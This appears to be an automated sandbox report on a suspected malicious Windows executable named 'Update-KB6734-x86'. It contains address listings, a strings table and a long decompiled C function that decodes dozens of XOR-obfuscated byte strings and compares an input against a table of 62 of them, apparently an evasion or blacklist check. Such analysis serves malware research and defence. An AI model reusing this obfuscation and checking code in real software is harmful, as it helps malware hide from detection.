0x0040582f
0x00405833
0x0040583b
0x00405843
0x0040584b
0x00405853
0x0040585a
0x0040585f
0x00405864
0x00405869
0x0040586e
0x00405873
0x00405878
0x0040587d
0x00405882
0x00405889
0x00405890
0x00405897
0x0040589e
0x004058a9
0x004058b8
0x004058c3
0x004058ce
0x004058dc
0x004058de
0x004058e3
0x004058f9
0x00405900
0x00405905
0x00405908
0x0040590d
0x0040592a
0x0040593f
0x0040590f
0x00405915
0x00405916
0x00405922
0x00405926
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405926
0x0040595a
0x0040595a
0x00000000

Strings

p, xrefs: 004057FF
m, xrefs: 004053CA
h, xrefs: 00405804
d, xrefs: 004053B2
c, xrefs: 0040538C
s, xrefs: 004056AC
t, xrefs: 004054EF
u, xrefs: 00405662
E, xrefs: 0040537B
p, xrefs: 0040547D
g, xrefs: 004055D3
z, xrefs: 004055EB
m, xrefs: 004055C9
t, xrefs: 0040563C
t, xrefs: 00405633
n, xrefs: 0040566C
m, xrefs: 0040584B
l, xrefs: 00405469
p, xrefs: 00405812
i, xrefs: 00405396
o, xrefs: 00405553
t, xrefs: 0040582A
h, xrefs: 00405451
q, xrefs: 00405698
b, xrefs: 00405341
", xrefs: 00405376
s, xrefs: 00405478
*, xrefs: 004054EA
l, xrefs: 00405817
r, xrefs: 0040568E
g, xrefs: 00405391
t, xrefs: 004053C2
w, xrefs: 004056A7
b, xrefs: 00405646
D, xrefs: 00405371
h, xrefs: 004053BA
h, xrefs: 00405825
i, xrefs: 00405667
I, xrefs: 0040585F
t, xrefs: 00405459
o, xrefs: 00405616
t, xrefs: 004056C4
v, xrefs: 004055F0
s, xrefs: 00405820
$, xrefs: 00405367
b, xrefs: 00405641
>, xrefs: 004053DE
h, xrefs: 0040583B
s, xrefs: 00405620
p, xrefs: 00405809
8, xrefs: 00405869
s, xrefs: 004055CE
{, xrefs: 004055FA
s, xrefs: 00405833
m, xrefs: 00405461
o, xrefs: 00405629
', xrefs: 0040536C
h, xrefs: 004056B1
t, xrefs: 00405843
d, xrefs: 0040561B
f, xrefs: 0040562E

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: "$$$'$*$8$>$D$E$I$b$b$b$c$d$d$f$g$g$h$h$h$h$h$h$i$i$l$l$m$m$m$m$n$o$o$o$p$p$p$p$q$r$s$s$s$s$s$s$t$t$t$t$t$t$t$t$u$v$w$z${
API String ID: 0-1889039134
Opcode ID: 8a5a3c4c6769900c5574127e7be7bd684675318f2718d754a9158b27d764485c
Instruction ID: d93a35099a26fe614cb1a3d73480c0d45d8b3759dc0d557f6e2bb2caa7de7eb8
Opcode Fuzzy Hash: 8a5a3c4c6769900c5574127e7be7bd684675318f2718d754a9158b27d764485c
Instruction Fuzzy Hash: 5C12E82540D7C1CDD322CB28945478FFFD15FA6618F489E9EE1E847392D2BA8209CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00409CF7, Relevance: 109.5, Strings: 87, Instructions: 708
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00409CF7(void* __eax, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a28, char _a29, char _a30, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, intOrPtr _a372, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a456, char _a464, char _a472, char _a480, char _a488, char _a496, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a520, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a568, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a668, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t598;
				signed int _t602;
				intOrPtr _t604;
				intOrPtr _t605;
				void* _t606;
				void* _t607;
				void* _t608;
				intOrPtr _t610;
				intOrPtr _t616;
				void* _t617;
				void* _t618;
				intOrPtr _t619;
				void* _t620;
				void* _t621;
				void* _t622;
				void* _t623;
				intOrPtr _t625;
				void* _t626;
				void* _t631;
				intOrPtr _t634;
				intOrPtr _t635;
				void* _t636;
				void* _t637;
				intOrPtr _t640;
				void* _t644;
				char _t645;
				intOrPtr _t661;
				void* _t685;
				intOrPtr _t768;
				intOrPtr _t770;
				signed int _t771;
				intOrPtr _t773;
				void* _t775;
				void* _t776;
				void* _t778;
				void* _t779;
				void* _t780;
				void* _t781;
				void* _t782;

				_t598 = __eax;
				do {
					 *(_t775 + _t598 + 0x238) =  *(_t775 + _t598 + 0x238) ^ 0x0000005a;
					_t598 = _t598 + 1;
				} while (_t598 < 7);
				_a704 = 0x7a;
				_a705 = 0xb8;
				_a706 = 0x1e;
				_a707 = 0x91;
				_a708 = 0xf2;
				_a380 = 0xf2;
				_a381 = 0xe4;
				_a382 = 0x7a;
				_a383 = 0xdd;
				_a384 = 0x54;
				_a112 = E004073E0( &_a380, 5,  &_a704);
				_a404 = 0x29;
				_a405 = 0x6e;
				_a406 = 0x9e;
				_a407 = 0x34;
				_a408 = 0xd0;
				_a376 = 7;
				_a377 = 9;
				_a378 = 0xf1;
				_a379 = 0x42;
				_a380 = 0xd0;
				_t602 = 0;
				do {
					 *(_t775 + _t602 + 0x198) =  *(_t775 + _t602 + 0x198) ^  *(_t775 + _t602 + 0x17c);
					_t602 = _t602 + 1;
				} while (_t602 < 5);
				_a380 = 0xd0;
				_push(5);
				_push( &_a688);
				_a688 = 0xdb;
				_a689 = 0x69;
				_a690 = 0x84;
				_a691 = 0x23;
				_a692 = 3;
				_a381 = 0xfe;
				_a382 = 0x93;
				_a383 = 0xfa;
				_a384 = 0x96;
				_t604 = E00407370( &_a380);
				_push(9);
				_push( &_a808);
				_a108 = _t604;
				_a808 = 0x12;
				_a809 = 0xa1;
				_a810 = 0x1d;
				_a811 = 0x83;
				_a812 = 0x74;
				_a813 = 0xe9;
				_a814 = 0x5b;
				_a815 = 0x5a;
				_a816 = 0x4b;
				_a380 = 0x93;
				_a381 = 0xf1;
				_a382 = 0x94;
				_a383 = 0xe6;
				_a384 = 0x8d;
				_a385 = 0xe8;
				_a386 = 0x84;
				_a387 = 0xe1;
				_a388 = 0x98;
				_t605 = E00407370( &_a380);
				_t776 = _t775 + 0x10;
				_a124 = _t605;
				_a624 = 0xbc;
				_a625 = 0xb0;
				_a626 = 0xb1;
				_a627 = 0xab;
				_a628 = 0xbe;
				_a629 = 0xbc;
				_a630 = 0xab;
				_a631 = 0xdf;
				_t606 = 0;
				do {
					 *(_t776 + _t606 + 0x270) =  *(_t776 + _t606 + 0x270) ^ 0x000000df;
					_t606 = _t606 + 1;
				} while (_t606 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t607 = 0;
				do {
					 *(_t776 + _t607 + 0x260) =  *(_t776 + _t607 + 0x260) ^ 0x0000002e;
					_t607 = _t607 + 1;
				} while (_t607 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t608 = 0;
				do {
					 *((char*)(_t776 + _t608 + 0x1a8)) =  *((intOrPtr*)(_t776 + _t608 + 0x1a8)) +  *((intOrPtr*)(_t776 + _t608 + 0x17c));
					_t608 = _t608 + 1;
				} while (_t608 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t610 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t610;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = 0xbc;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t616 = E00407370( &_a376);
				_t778 = _t776 + 0x18;
				_a72 = _t616;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t617 = 0;
				do {
					 *(_t778 + _t617 + 0x258) =  *(_t778 + _t617 + 0x258) ^  *(_t778 + _t617 + 0x17c);
					_t617 = _t617 + 1;
				} while (_t617 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t618 = 0;
				do {
					 *(_t778 + _t618 + 0x248) =  *(_t778 + _t618 + 0x248) ^ 0x00000083;
					_t618 = _t618 + 1;
				} while (_t618 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = 0xbc;
				_t619 = E00407370( &_a380);
				_t779 = _t778 + 8;
				_a84 = _t619;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t620 = 0;
				do {
					 *(_t779 + _t620 + 0x278) =  *(_t779 + _t620 + 0x278) ^  *(_t779 + _t620 + 0x17c);
					_t620 = _t620 + 1;
				} while (_t620 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t621 = 0;
				do {
					 *(_t779 + _t621 + 0x288) =  *(_t779 + _t621 + 0x288) ^  *(_t779 + _t621 + 0x17c);
					_t621 = _t621 + 1;
				} while (_t621 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t622 = 0;
				do {
					 *((char*)(_t779 + _t622 + 0x210)) =  *((intOrPtr*)(_t779 + _t622 + 0x210)) +  *((intOrPtr*)(_t779 + _t622 + 0x17c));
					_t622 = _t622 + 1;
				} while (_t622 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t623 = 0;
				do {
					 *(_t779 + _t623 + 0x1f8) =  *(_t779 + _t623 + 0x1f8) ^  *(_t779 + _t623 + 0x17c);
					_t623 = _t623 + 1;
				} while (_t623 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t625 = E00407370( &_a380);
				_t780 = _t779 + 8;
				_a92 = _t625;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t626 = 0;
				do {
					 *(_t780 + _t626 + 0x280) =  *(_t780 + _t626 + 0x280) ^ 0x000000fc;
					_t626 = _t626 + 1;
				} while (_t626 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t661 = E00407370( &_a380);
				_t781 = _t780 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, 8,  &_a776);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t631 = 0;
				do {
					 *(_t781 + _t631 + 0x218) =  *(_t781 + _t631 + 0x218) ^ 0x00000001;
					_t631 = _t631 + 1;
				} while (_t631 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t634 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t770 = _t634;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t635 = E00407370( &_a388);
				_t782 = _t781 + 8;
				_t773 = _t635;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t636 = 0;
				do {
					 *(_t782 + _t636 + 0x1b8) =  *(_t782 + _t636 + 0x1b8) ^ 0x000000d4;
					_t636 = _t636 + 1;
				} while (_t636 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t637 = 0;
				do {
					 *((char*)(_t782 + _t637 + 0x240)) =  *((intOrPtr*)(_t782 + _t637 + 0x240)) +  *((intOrPtr*)(_t782 + _t637 + 0x188));
					_t637 = _t637 + 1;
				} while (_t637 < 7);
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t640 = E004073E0( &_a392, 3,  &_a28);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t685 = 0;
				do {
					 *((intOrPtr*)(_t782 + _t685 + 0x14)) =  *((intOrPtr*)(_t782 + _t685 + 0x14)) +  *((intOrPtr*)(_t782 + _t685 + 0x188));
					_t685 = _t685 + 1;
				} while (_t685 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t768 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t770;
				_a344 = _t661;
				_a360 = _t773;
				_a368 =  &_a576;
				_a372 = _t640;
				_a376 =  &_a20;
				_t771 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t644 = E00425320(_t768,  *((intOrPtr*)(_t782 + 0x84 + _t771 * 4)));
					_t782 = _t782 + 8;
					if(_t644 != 0) {
						break;
					}
					_t771 = _t771 + 1;
					if(_t771 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t782 = _t782 + 4;
						}
						_t645 = 1;
					}
					L38:
					 *[fs:0x0] = _a900;
					return E00424873(_t645, _a896);
				}
				if(_a892 < 0x10) {
					_t645 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t782 = _t782 + 4;
					_t645 = 0;
				}
				goto L38;
			}

0x00409cf7
0x00409d00
0x00409d00
0x00409d08
0x00409d09
0x00409d22
0x00409d2a
0x00409d32
0x00409d3a
0x00409d42
0x00409d4a
0x00409d52
0x00409d5a
0x00409d62
0x00409d6a
0x00409d79
0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f7
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
